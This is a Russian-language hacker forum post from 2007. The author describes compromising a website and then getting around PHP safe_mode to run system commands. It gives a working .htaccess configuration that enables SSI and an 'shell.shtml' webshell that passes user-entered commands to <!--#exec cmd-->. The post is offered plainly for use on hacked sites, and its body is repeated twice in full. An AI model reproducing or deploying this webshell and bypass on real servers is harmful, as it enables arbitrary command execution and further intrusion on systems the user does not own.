p-range
14.04.2007, 12:30
Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on.
Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.
Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.
Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes
Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:
<html>
<body>
<script language="JavaScript">
<!--
function execute() {
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
//-->
</script>
<form name="exec">
<input type="text" name="cmd" size="20" value="">
<input type="submit" value="exec" onClick="execute()">
</form>
</body>
</html>
Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:
<!--#exec cmd="uname -a;"-->
А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.
Вот собственно все что я хотел рассказать.
Полезные ссылки:
SSI (http://www.opennet.ru/docs/RUS/ssi2/)
Обход Safe Mode (http://www.xakep.ru/post/26964/default.asp?print=1)
Поднимаем железный занавес (http://team.uz/hack/2005/081/054/1.htm)
Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один.
Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде.
Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания:
AddType text/html .shtml
AddHandler server-parsed .shtml
Options +Includes
Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания:
<html>
<body>
<script language="JavaScript">
<!--
function execute() {
var cmd = document.exec.cmd.value;
document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
}
//-->
</script>
<form name="exec">
<input type="text" name="cmd" size="20" value="">
<input type="submit" value="exec" onClick="execute()">
</form>
</body>
</html>
Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки:
<!--#exec cmd="uname -a;"-->
А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс.
Вот собственно все что я хотел рассказать.
Полезные ссылки:
SSI (http://www.opennet.ru/docs/RUS/ssi2/)
Обход Safe Mode (http://www.xakep.ru/post/26964/default.asp?print=1)
Поднимаем железный занавес (http://team.uz/hack/2005/081/054/1.htm)